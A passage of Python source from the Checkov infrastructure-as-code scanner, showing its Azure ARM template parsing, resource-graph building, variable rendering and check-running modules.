@staticmethod def extract_arm_resource_name(arm_resource: dict[str, Any]) -> str | None: # if arm_resource_name == '__startline__' or arm_resource_name == '__endline__': # return if 'name' not in arm_resource: # This is not an ARM resource, skip return None return f"{arm_resource['name']}" def extract_arm_resource_code_lines( self, arm_resource: dict[str, Any] ) -> tuple[list[int], list[tuple[int, str]]] | tuple[None, None]: find_lines_result_list = list(self.find_lines(arm_resource, START_LINE)) if len(find_lines_result_list) >= 1: start_line = min(find_lines_result_list) end_line = max(list(self.find_lines(arm_resource, END_LINE))) entity_lines_range = [start_line, end_line] entity_code_lines = self.arm_template_lines[start_line - 1: end_line] return entity_lines_range, entity_code_lines return None, None @staticmethod def find_lines(node: dict[str, Any] | list[dict[str, Any]], kv: str) -> Generator[Any, None, None]: if isinstance(node, list): for i in node: for x in ContextParser.find_lines(i, kv): yield x elif isinstance(node, dict): if kv in node: yield node[kv] for j in node.values(): for x in ContextParser.find_lines(j, kv): yield x @staticmethod def collect_skip_comments(resource: dict[str, Any]) -> list[_SkippedCheck]: skipped_checks = [] bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping if "metadata" in resource: if "checkov" in resource["metadata"]: for item in force_list(resource["metadata"]["checkov"]): skip_search = re.search(COMMENT_REGEX, str(item)) if skip_search: skipped_check: "_SkippedCheck" = { 'id': skip_search.group(1), 'suppress_comment': skip_search.group(2)[1:] if skip_search.group( 2) else "No comment provided" } if bc_id_mapping and skipped_check["id"] in bc_id_mapping: skipped_check["bc_id"] = skipped_check["id"] skipped_check["id"] = bc_id_mapping[skipped_check["id"]] elif metadata_integration.check_metadata: skipped_check["bc_id"] = metadata_integration.get_bc_id(skipped_check["id"]) skipped_checks.append(skipped_check) return skipped_checks @staticmethod def search_deep_keys(search_text: str, arm_dict: dict[str, Any], path: list[str | int]) -> list[list[Any]]: """Search deep for keys and get their values""" keys = [] if isinstance(arm_dict, dict): for key in arm_dict: pathprop = path[:] pathprop.append(key) if key == search_text: pathprop.append(arm_dict[key]) keys.append(pathprop) # pop the last element off for nesting of found elements for # dict and list checks pathprop = pathprop[:-1] if isinstance(arm_dict[key], dict): keys.extend(ContextParser.search_deep_keys(search_text, arm_dict[key], pathprop)) elif isinstance(arm_dict[key], list): for index, item in enumerate(arm_dict[key]): pathproparr = pathprop[:] pathproparr.append(index) keys.extend(ContextParser.search_deep_keys(search_text, item, pathproparr)) elif isinstance(arm_dict, list): for index, item in enumerate(arm_dict): pathprop = path[:] pathprop.append(index) keys.extend(ContextParser.search_deep_keys(search_text, item, pathprop)) return keys @staticmethod def search_deep_values(search_text: str, arm_dict: dict[str, Any], path: list[str | int]) -> list[list[str | int]]: """Search deep for keys with values matching search text""" keys: "list[list[str | int]]" = [] if isinstance(arm_dict, dict): for key in arm_dict: pathprop = path[:] pathprop.append(key) if search_text in str(arm_dict[key]): pathprop.append(arm_dict[key]) keys.append(pathprop) # pop the last element off for nesting of found elements for # dict and list checks pathprop = pathprop[:-1] if isinstance(arm_dict[key], dict): keys.extend(ContextParser.search_deep_values(search_text, arm_dict[key], pathprop)) elif isinstance(arm_dict[key], list): for index, item in enumerate(arm_dict[key]): pathproparr = pathprop[:] pathproparr.append(index) keys.extend(ContextParser.search_deep_values(search_text, item, pathproparr)) elif isinstance(arm_dict, list): for index, item in enumerate(arm_dict): pathprop = path[:] pathprop.append(index) keys.extend(ContextParser.search_deep_values(search_text, item, pathprop)) for inner_keys in keys[:]: for i in inner_keys: if isinstance(i, list) or isinstance(i, dict): keys.remove(inner_keys) # Remove parameter if search_text in inner_keys[-1]: # type:ignore[operator] # this will be a str inner_keys.pop() return keys def _set_in_dict(self, data_dict: dict[str, Any], map_list: list[str | int], value: Any) -> None: self._get_from_dict(data_dict, map_list[:-1])[map_list[-1]] = value # type:ignore[index] # this will be a str @staticmethod def _get_from_dict(data_dict: dict[str, Any], map_list: list[str | int]) -> dict[str, Any]: return reduce(operator.getitem, map_list, data_dict) # type:ignore[arg-type] # this works, because of a deeper dict access ================================================ FILE: checkov/arm/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/arm/graph_builder/definition_context.py ================================================ from __future__ import annotations from typing import cast, Dict, Any from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.suppression import collect_suppressions_for_report ARM_COMMENT = "//" DEFINITIONS_KEYS = ["parameters", "resources"] def build_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]] ) -> Dict[str, Dict[str, Any]]: definitions_context: Dict[str, Dict[str, Any]] = {} for file_path_object, file_path_definitions in definitions.items(): file_path = str(file_path_object) definitions_context[file_path] = {} for definition_attribute, resources in file_path_definitions.items(): if definition_attribute not in DEFINITIONS_KEYS: continue definitions_context[file_path][definition_attribute] = {} if isinstance(resources, dict): for resource_key, resource_attributes in resources.items(): if isinstance(resource_attributes, dict): add_resource_to_definitions_context(definitions_context, resource_key, resource_attributes, definition_attribute, definitions_raw, file_path) elif isinstance(resources, list): for resource in resources: if isinstance(resource, dict): add_resource_to_definitions_context(definitions_context, '', resource, definition_attribute, definitions_raw, file_path) return definitions_context def add_resource_to_definitions_context(definitions_context: dict[str, dict[str, Any]], resource_key: str, resource_attributes: dict[str, Any], definition_attribute: str, definitions_raw: dict[str, Any], file_path: str) -> None: start_line = resource_attributes[START_LINE] end_line = resource_attributes[END_LINE] definition_resource = {"start_line": start_line, "end_line": end_line} if definition_attribute == "resources": resource_key = f"{resource_attributes.get('type')}.{resource_attributes.get('name')}" int_start_line = cast(int, definition_resource["start_line"]) int_end_line = cast(int, definition_resource["end_line"]) code_lines_for_suppressions_check = definitions_raw[file_path][int_start_line: int_end_line] definition_resource['skipped_checks'] = collect_suppressions_for_report( code_lines=code_lines_for_suppressions_check) else: definition_resource["type"] = resource_attributes.get('type') definition_resource["code_lines"] = definitions_raw[file_path][start_line - 1: end_line] definitions_context[file_path][definition_attribute][resource_key] = definition_resource ================================================ FILE: checkov/arm/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/arm/graph_builder/graph_components/block_types.py ================================================ from __future__ import annotations from dataclasses import dataclass from typing import Literal from checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType @dataclass class BlockType(CommonBlockType): PARAMETER: Literal["parameters"] = "parameters" VARIABLE: Literal["variables"] = "variables" OUTPUT: Literal["outputs"] = "outputs" ================================================ FILE: checkov/arm/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations from typing import Any from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_builder.graph_components.blocks import Block class ArmBlock(Block): def __init__( self, name: str, config: dict[str, Any], path: str, block_type: str, attributes: dict[str, Any], id: str = "", ) -> None: super().__init__(name, config, path, block_type, attributes, id, GraphSource.ARM) def should_run_get_inner_attributes(self, attribute_value: Any) -> bool: """ this function is triggered from _extract_inner_attributes to check whether we need to run the get_inner_attributes function. for ARM we want to get the inner_attributes also from list[str] and only for list[dict] like the rest of the frameworks, specific for the 'dependsOn' attribute in a resource """ return isinstance(attribute_value, dict) or (isinstance(attribute_value, list) and len(attribute_value) > 0) ================================================ FILE: checkov/arm/graph_builder/graph_to_definitions.py ================================================ from __future__ import annotations import os from pathlib import Path from typing import Any, TYPE_CHECKING from checkov.arm.graph_builder.graph_components.block_types import BlockType from checkov.arm.utils import ArmElements if TYPE_CHECKING: from checkov.arm.graph_builder.graph_components.blocks import ArmBlock def convert_graph_vertices_to_definitions(vertices: list[ArmBlock], root_folder: str | Path | None)\ -> tuple[dict[str, dict[str, Any]], dict[str, dict[str, Any]]]: arm_definitions: dict[str, dict[str, Any]] = {} breadcrumbs: dict[str, dict[str, Any]] = {} for vertex in vertices: block_path = vertex.path if vertex.block_type == BlockType.RESOURCE: arm_definitions.setdefault(block_path, {}).setdefault(ArmElements.RESOURCES, []).append(vertex.config) else: element_name = vertex.name.split('/')[-1] arm_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[element_name] = vertex.config if vertex.breadcrumbs: relative_block_path = f"/{os.path.relpath(block_path, root_folder)}" add_breadcrumbs(vertex, breadcrumbs, relative_block_path) return arm_definitions, breadcrumbs def add_breadcrumbs(vertex: ArmBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None: breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs ================================================ FILE: checkov/arm/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging import re from typing import Any, TYPE_CHECKING from checkov.arm.graph_builder.graph_components.blocks import ArmBlock from checkov.arm.utils import ArmElements, extract_resource_name_from_resource_id_func, \ extract_resource_name_from_reference_func from checkov.arm.graph_builder.variable_rendering.renderer import ArmVariableRenderer from checkov.arm.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder import CustomAttributes, Edge from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.graph.graph_builder.utils import filter_sub_keys, adjust_value from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.type_forcers import force_int if TYPE_CHECKING: from checkov.common.graph.graph_builder.local_graph import Block DEPENDS_ON_FIELD = 'dependsOn' RESOURCE_ID_FUNC = 'resourceId(' REFERENCE_FUNC = 'reference(' PARAMETER_FUNC = 'parameters(' VARIABLE_FUNC = 'variables(' class ArmLocalGraph(LocalGraph[ArmBlock]): def __init__(self, definitions: dict[str, dict[str, Any]]) -> None: super().__init__() self.vertices: list[ArmBlock] = [] self.definitions = definitions self.vertices_by_path_and_id: dict[tuple[str, str], int] = {} self.vertices_by_name: dict[str, int] = {} def build_graph(self, render_variables: bool = True) -> None: self._create_vertices() logging.debug(f"[ArmLocalGraph] created {len(self.vertices)} vertices") ''' In order to resolve the resources names for the dependencies we need to render the variables first Examples: https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/resource-dependency ''' self._create_vars_and_parameters_edges() if render_variables: renderer = ArmVariableRenderer(self) renderer.render_variables_from_local_graph() self._update_resource_vertices_names() self._create_edges() logging.debug(f"[ArmLocalGraph] created {len(self.edges)} edges") def _create_vertices(self) -> None: for file_path, definition in self.definitions.items(): self._create_parameter_vertices(file_path=file_path, parameters=definition.get(ArmElements.PARAMETERS)) self._create_resource_vertices(file_path=file_path, resources=definition.get(ArmElements.RESOURCES)) self._create_variables_vertices(file_path=file_path, variables=definition.get(ArmElements.VARIABLES)) for i, vertex in enumerate(self.vertices): self.vertices_by_block_type[vertex.block_type].append(i) self.vertices_block_name_map[vertex.block_type][vertex.name].append(i) self.vertices_by_path_and_id[(vertex.path, vertex.id)] = i self.vertices_by_name[vertex.name] = i self.in_edges[i] = [] self.out_edges[i] = [] def _create_variables_vertices(self, file_path: str, variables: dict[str, dict[str, Any]] | None) -> None: if not variables: return for name, conf in variables.items(): if name in [START_LINE, END_LINE]: continue if not isinstance(conf, dict) or "value" not in conf: full_conf = {"value": pickle_deepcopy(conf)} else: full_conf = conf config = pickle_deepcopy(full_conf) attributes = pickle_deepcopy(full_conf) self.vertices.append( ArmBlock( name=f"{file_path}/{name}", config=config, path=file_path, block_type=BlockType.VARIABLE, attributes=attributes, id=f"{ArmElements.VARIABLES}.{name}", ) ) def _create_parameter_vertices(self, file_path: str, parameters: dict[str, dict[str, Any]] | None) -> None: if not parameters: return for name, config in parameters.items(): if name in (START_LINE, END_LINE): continue if not isinstance(config, dict): logging.warning(f"[ArmLocalGraph] parameter {name} has wrong type {type(config)}") continue attributes = pickle_deepcopy(config) self.vertices.append( ArmBlock( name=f"{file_path}/{name}", config=config, path=file_path, block_type=BlockType.PARAMETER, attributes=attributes, id=f"{ArmElements.PARAMETERS}.{name}", ) ) def _create_resource_vertices(self, file_path: str, resources: list[dict[str, Any]] | None) -> None: if not resources: return for config in resources: if "type" not in config: # this can't be a real ARM resource without a "type" field return resource_name = config.get("name") or "unknown" resource_type = config["type"] attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = resource_type self.vertices.append( ArmBlock( name=resource_name, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=f"{resource_type}.{resource_name}" ) ) def _create_edges(self) -> None: for origin_vertex_index, vertex in enumerate(self.vertices): if DEPENDS_ON_FIELD in vertex.attributes: self._create_explicit_edge(origin_vertex_index, vertex.name, vertex.attributes['dependsOn']) self._create_implicit_edges(origin_vertex_index, vertex.name, vertex.attributes) def _create_explicit_edge(self, origin_vertex_index: int, resource_name: str, deps: list[str]) -> None: for dep in deps: if RESOURCE_ID_FUNC in dep: processed_dep = extract_resource_name_from_resource_id_func(dep) else: processed_dep = dep.split('/')[-1] # Check if the processed dependency exists in the map if processed_dep in self.vertices_by_name: self._create_edge(processed_dep, origin_vertex_index, f'{resource_name}->{processed_dep}') else: # Dependency not found logging.warning(f"[ArmLocalGraph] resource dependency {processed_dep} defined in {dep} for resource" f" {resource_name} not found") continue def _create_vars_and_parameters_edges(self) -> None: pattern = r"(variables|parameters)\('(\w+)'\)" for origin_vertex_index, vertex in enumerate(self.vertices): for attr_key, attr_value in vertex.attributes.items(): if not isinstance(attr_value, str): continue if ArmElements.VARIABLES in attr_value or ArmElements.PARAMETERS in attr_value: matches = re.findall(pattern, attr_value) for match in matches: var_name = match[1] self._create_edge(f"{vertex.path}/{var_name}", origin_vertex_index, attr_key) def _create_edge(self, element_name: str, origin_vertex_index: int, label: str) -> None: dest_vertex_index = self.vertices_by_name.get(element_name) if origin_vertex_index == dest_vertex_index or dest_vertex_index is None: return edge = Edge(origin_vertex_index, dest_vertex_index, label) self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) def _create_implicit_edges(self, origin_vertex_index: int, resource_name: str, resource: dict[str, Any]) -> None: for value in resource.values(): if isinstance(value, str): if REFERENCE_FUNC in value: self._create_implicit_edge(origin_vertex_index, resource_name, value) def _create_implicit_edge(self, origin_vertex_index: int, resource_name: str, reference_string: str) -> None: dep_name = extract_resource_name_from_reference_func(reference_string) self._create_edge(dep_name, origin_vertex_index, f'{resource_name}->{dep_name}') def _update_resource_vertices_names(self) -> None: for i, vertex in enumerate(self.vertices): if ((vertex.block_type != BlockType.RESOURCE or 'name' not in vertex.config or vertex.name == vertex.config['name']) or not isinstance(vertex.config['name'], str)): continue if PARAMETER_FUNC in vertex.name or VARIABLE_FUNC in vertex.name: if vertex.name in self.vertices_by_name: del self.vertices_by_name[vertex.name] vertex.name = vertex.config['name'] self.vertices_by_name[vertex.name] = i def update_vertices_configs(self) -> None: for vertex in self.vertices: changed_attributes = list(vertex.changed_attributes.keys()) changed_attributes = filter_sub_keys(changed_attributes) self.update_vertex_config(vertex, changed_attributes) @staticmethod def update_vertex_config(vertex: Block, changed_attributes: list[str] | dict[str, Any], dynamic_blocks: bool = False) -> None: if not changed_attributes: # skip, if there is no change return for attr in changed_attributes: new_value = vertex.attributes.get(attr, None) if vertex.block_type == BlockType.RESOURCE: ArmLocalGraph.update_config_attribute( config=vertex.config, key_to_update=attr, new_value=new_value ) @staticmethod def update_config_attribute(config: list[Any] | dict[str, Any], key_to_update: str, new_value: Any) -> None: key_parts = key_to_update.split(".") if isinstance(config, dict): key = key_parts[0] if len(key_parts) == 1: ArmLocalGraph.update_config_value(config=config, key=key, new_value=new_value) return else: key, key_parts = ArmLocalGraph.adjust_key(config, key, key_parts) if len(key_parts) == 1: ArmLocalGraph.update_config_value(config=config, key=key, new_value=new_value) return ArmLocalGraph.update_config_attribute(config[key], ".".join(key_parts[1:]), new_value) elif isinstance(config, list): key_idx = force_int(key_parts[0]) if key_idx is None: return if len(key_parts) == 1: ArmLocalGraph.update_config_value(config=config, key=key_idx, new_value=new_value) return else: ArmLocalGraph.update_config_attribute(config[key_idx], ".".join(key_parts[1:]), new_value) return @staticmethod def update_config_value(config: list[Any] | dict[str, Any], key: int | str, new_value: Any) -> None: new_value = adjust_value(config[key], new_value) # type:ignore[index] if new_value is None: # couldn't find key in in value object return config[key] = new_value # type:ignore[index] @staticmethod def adjust_key(config: dict[str, Any], key: str, key_parts: list[str]) -> tuple[str, list[str]]: """Adjusts the key, if it consists of multiple dots Ex: config = {"'container.registry'": "acrName"} key = "'container" key_parts = ["'container", "registry'"] returns new_key = "'container.registry'" new_key_parts = ["'container.registry'"] """ if key not in config: if len(key_parts) >= 2: new_key = ".".join(key_parts[:2]) new_key_parts = [new_key] + key_parts[2:] return ArmLocalGraph.adjust_key(config, new_key, new_key_parts) return key, key_parts def get_resources_types_in_graph(self) -> list[str]: # not used return [] ================================================ FILE: checkov/arm/graph_builder/variable_rendering/__init__.py ================================================ ================================================ FILE: checkov/arm/graph_builder/variable_rendering/renderer.py ================================================ from __future__ import annotations import logging from typing import TYPE_CHECKING, Any from checkov.arm.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.utils import adjust_value from checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer from checkov.common.util.data_structures_utils import pickle_deepcopy if TYPE_CHECKING: from checkov.arm.graph_builder.local_graph import ArmLocalGraph class ArmVariableRenderer(VariableRenderer["ArmLocalGraph"]): def __init__(self, local_graph: ArmLocalGraph) -> None: super().__init__(local_graph) def _render_variables_from_vertices(self) -> None: # need to add rendering to function like format, reference etc pass def evaluate_vertex_attribute_from_edge(self, edge_list: list[Edge]) -> None: origin_vertex_attributes = self.local_graph.vertices[edge_list[0].origin].attributes value_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge_list[0].label, "")) attr_path = None for edge in edge_list: attr_path, attr_value = self.extract_dest_attribute_path_and_value(dest_index=edge.dest, origin_value=value_to_eval) if not attr_value: continue '''if the arg start with '[parameters'/ '[variables' its mean we need to eval the all attribute like here - "addressPrefix": "[parameters('subnetAddressPrefix')]" ''' if len(edge_list) == 1 and isinstance(value_to_eval, str) and value_to_eval.startswith(("[parameters", "[variables")): value_to_eval = attr_value continue ''' if the value i need to eval is part of the full attribute like "[format('{0}/{1}', parameters('vnetName'), variables('subnetName'))]" or "[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]". vertices[edge.dest].id = variables.networkProfileName -> variables('networkProfileName') ''' val_to_replace = self.local_graph.vertices[edge.dest].id.replace(".", "('") + "')" if attr_value and isinstance(value_to_eval, str): value_to_eval = value_to_eval.replace(val_to_replace, str(attr_value)) self.local_graph.update_vertex_attribute( vertex_index=edge_list[0].origin, attribute_key=edge_list[0].label, attribute_value=value_to_eval, change_origin_id=edge_list[0].dest, attribute_at_dest=attr_path, ) def extract_dest_attribute_path_and_value(self, dest_index: int, origin_value: Any) -> tuple[str, Any] | tuple[None, None]: vertex = self.local_graph.vertices[dest_index] if vertex.block_type == BlockType.PARAMETER: new_value = vertex.attributes.get("defaultValue") if new_value: new_value = adjust_value(element_name=origin_value, value=new_value) return "defaultValue", new_value else: logging.warning(f'No defaultValue for parameter id = {vertex.id}') return "defaultValue", None elif vertex.block_type == BlockType.VARIABLE: new_value = adjust_value(element_name=origin_value, value=vertex.attributes.get("value")) return "value", new_value return None, None def evaluate_non_rendered_values(self) -> None: pass ================================================ FILE: checkov/arm/graph_manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any, Optional from checkov.arm.graph_builder.local_graph import ArmLocalGraph from checkov.arm.utils import get_scannable_file_paths, get_files_definitions from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector class ArmGraphManager(GraphManager[ArmLocalGraph, "dict[str, dict[str, Any]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.ARM) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[ArmLocalGraph] = ArmLocalGraph, render_variables: bool = False, parsing_errors: dict[str, Exception] | None = None, download_external_modules: Optional[bool] = False, excluded_paths: list[str] | None = None, **kwargs: Any, ) -> tuple[ArmLocalGraph, dict[str, dict[str, Any]]]: file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths) definitions, _, _ = get_files_definitions(files=file_paths) local_graph = self.build_graph_from_definitions(definitions=definitions) return local_graph, definitions def build_graph_from_definitions( self, definitions: dict[str, dict[str, Any]], render_variables: bool = True ) -> ArmLocalGraph: local_graph = ArmLocalGraph(definitions=definitions) local_graph.build_graph(render_variables=render_variables) return local_graph ================================================ FILE: checkov/arm/parser/__init__.py ================================================ ================================================ FILE: checkov/arm/parser/parser.py ================================================ from __future__ import annotations import logging from pathlib import Path from typing import Any from yaml.scanner import ScannerError from yaml import YAMLError from checkov.common.parsers.json import parse as json_parse from checkov.common.parsers.yaml import loader from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.file_utils import read_file_with_any_encoding LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) def parse(filename: str) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]: """Decode filename into an object""" template = None template_lines = None try: template, template_lines = load(filename) except IOError as e: if e.errno == 2: LOGGER.error(f"Template file not found: {filename}") elif e.errno == 21: LOGGER.error(f"Template references a directory, not a file: {filename}") elif e.errno == 13: LOGGER.error(f"Permission denied when accessing template file: {filename}") except UnicodeDecodeError: LOGGER.error(f"Cannot read file contents: {filename}") except ScannerError as err: if err.problem in ("found character '\\t' that cannot start any token", "found unknown escape character"): try: result = json_parse(filename, allow_nulls=False) if result: template, template_lines = result # type:ignore[assignment] # this is handled by the next line if isinstance(template, list): # should not happen and is more relevant for type safety template = template[0] except Exception: LOGGER.error(f"Template {filename} is malformed: {err.problem}") LOGGER.error(f"Tried to parse {filename} as JSON", exc_info=True) except YAMLError: LOGGER.info(f"Failed to parse {filename}") LOGGER.debug("With Exception", exc_info=True) if template is None or template_lines is None: return None, None return template, template_lines def load(filename: Path | str) -> tuple[dict[str, Any], list[tuple[int, str]]]: """ Load the given JSON/YAML file """ content = read_file_with_any_encoding(file_path=filename) if not all(key in content for key in ("$schema", "contentVersion")): return {}, [] file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] template: "dict[str, Any] | list[dict[str, Any]]" = loader.loads(content=content) if not template: template = {} if isinstance(template, list): template = template[0] return template, file_lines ================================================ FILE: checkov/arm/registry.py ================================================ from checkov.arm.base_registry import Registry arm_resource_registry = Registry() arm_parameter_registry = Registry() ================================================ FILE: checkov/arm/runner.py ================================================ from __future__ import annotations import logging import os from collections.abc import Iterable from pathlib import Path from typing import TYPE_CHECKING, Any, cast from typing_extensions import TypeAlias # noqa[TC002] from checkov.arm.graph_builder.definition_context import build_definitions_context from checkov.arm.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.arm.graph_builder.local_graph import ArmLocalGraph from checkov.arm.graph_manager import ArmGraphManager from checkov.arm.registry import arm_resource_registry, arm_parameter_registry from checkov.arm.utils import get_scannable_file_paths, get_files_definitions, ARM_POSSIBLE_ENDINGS, ArmElements, \ clean_file_path, filter_failed_checks_with_unrendered_resources from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.base_runner import BaseRunner from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.runner_filter import RunnerFilter from checkov.arm.context_parser import ContextParser if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector, _CheckResult _ArmContext: TypeAlias = "dict[str, dict[str, Any]]" _ArmDefinitions: TypeAlias = "dict[str, dict[str, Any]]" class Runner(BaseRunner[_ArmDefinitions, _ArmContext, ArmGraphManager]): check_type = CheckType.ARM # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.ARM, graph_class: type[ArmLocalGraph] = ArmLocalGraph, graph_manager: ArmGraphManager | None = None, external_registries: list[BaseRegistry] | None = None, ) -> None: super().__init__(file_extensions=ARM_POSSIBLE_ENDINGS) db_connector = db_connector or self.db_connector self.external_registries = external_registries if external_registries else [] self.graph_class = graph_class self.graph_manager: "ArmGraphManager" = ( graph_manager if graph_manager else ArmGraphManager(source=source, db_connector=db_connector) ) self.graph_registry = get_graph_checks_registry(self.check_type) # need to check, how to support subclass differences self.definitions: _ArmDefinitions = {} self.definitions_raw: "dict[str, list[tuple[int, str]]]" = {} self.context: _ArmContext | None = None self.root_folder: "str | None" = None def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) self.root_folder = root_folder if not self.context or not self.definitions: files_list: "Iterable[str]" = [] if external_checks_dir: for directory in external_checks_dir: arm_resource_registry.load_external_checks(directory) if self.graph_registry: self.graph_registry.load_external_checks(directory) if files: files_list = files.copy() if self.root_folder: files_list = get_scannable_file_paths(root_folder=root_folder, excluded_paths=runner_filter.excluded_paths) self.definitions, self.definitions_raw, parsing_errors = get_files_definitions(files_list) self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw) report.add_parsing_errors(parsing_errors) if self.graph_registry and self.graph_manager: logging.info("Creating ARM graph") local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions) logging.info("Successfully created ARM graph") self.graph_manager.save_graph(local_graph) self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions( vertices=local_graph.vertices, root_folder=root_folder, ) self.pbar.initiate(len(self.definitions)) # run Python checks self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder) # run graph checks if self.graph_registry: self.add_graph_check_results(report=report, runner_filter=runner_filter) # Filter failed checks on resources with unrendered string functions # Remove if we ever implement full variable rendering for arm report = filter_failed_checks_with_unrendered_resources(report) return report def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None: self.definitions_raw = definitions_raw def add_python_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None: """Adds Python check results to given report""" for arm_file in self.definitions.keys(): self.pbar.set_additional_data({"Current File Scanned": os.path.relpath(arm_file, root_folder)}) file_abs_path = Path(arm_file).absolute() if isinstance(self.definitions[arm_file], dict): arm_context_parser = ContextParser(arm_file, self.definitions[arm_file], self.definitions_raw[arm_file]) logging.debug(f"Template Dump for {arm_file}: {self.definitions[arm_file]}") if ArmElements.RESOURCES in self.definitions[arm_file]: arm_context_parser.evaluate_default_parameters() # Split out nested resources from base resource for resource in self.definitions[arm_file][ArmElements.RESOURCES]: if isinstance(resource, dict) and "parent_name" in resource.keys(): continue nested_resources = arm_context_parser.search_deep_keys(ArmElements.RESOURCES, resource, []) if nested_resources: for nr in nested_resources: nr_element = nr.pop() if nr_element: for element in nr_element: new_resource = element if isinstance(new_resource, dict): new_resource["parent_name"] = resource.get("name", "") new_resource["parent_type"] = resource.get("type", "") self.definitions[arm_file][ArmElements.RESOURCES].append(new_resource) for resource in self.definitions[arm_file][ArmElements.RESOURCES]: resource_id = arm_context_parser.extract_arm_resource_id(resource) resource_name = arm_context_parser.extract_arm_resource_name(resource) if resource_id is None or resource_name is None: logging.debug(f"Could not determine 'resource_id' of Resource {resource}") continue cleaned_path = clean_file_path(Path(arm_file)) report.add_resource(f"{cleaned_path}:{resource_id}") entity_lines_range, entity_code_lines = arm_context_parser.extract_arm_resource_code_lines( resource ) if entity_lines_range and entity_code_lines: # TODO - Variable Eval Message! variable_evaluations: "dict[str, Any]" = {} skipped_checks = ContextParser.collect_skip_comments(resource) results = arm_resource_registry.scan( arm_file, {resource_name: resource}, skipped_checks, runner_filter, report_type=CheckType.ARM, ) if results: for check, check_result in results.items(): record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=entity_code_lines, file_path=self.extract_file_path_from_abs_path(cleaned_path), file_line_range=entity_lines_range, resource=resource_id, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=str(file_abs_path), severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) else: # resources without checks, but not existing ones report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=self.extract_file_path_from_abs_path(cleaned_path), resource=resource_id, ) ) if ArmElements.PARAMETERS in self.definitions[arm_file]: parameters = self.definitions[arm_file][ArmElements.PARAMETERS] for parameter_name, parameter_details in parameters.items(): # TODO - Variable Eval Message! variable_evaluations = {} resource_id = f"parameter.{parameter_name}" resource_name = cast(str, parameter_name) entity_lines_range, entity_code_lines = arm_context_parser.extract_arm_resource_code_lines( parameter_details ) if entity_lines_range and entity_code_lines: skipped_checks = ContextParser.collect_skip_comments(parameter_details) results = arm_parameter_registry.scan( arm_file, {resource_name: parameter_details}, skipped_checks, runner_filter ) for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=parameter_details, resource_attributes_to_omit=runner_filter.resource_attr_to_omit, ) cleaned_path = clean_file_path(Path(arm_file)) self.build_record( report=report, check=check, check_result=check_result, code_block=censored_code_lines, file_path=self.extract_file_path_from_abs_path(cleaned_path), file_abs_path=str(file_abs_path), file_line_range=entity_lines_range, resource_id=resource_id, evaluations=variable_evaluations, ) self.pbar.update() self.pbar.close() def add_graph_check_results(self, report: Report, runner_filter: 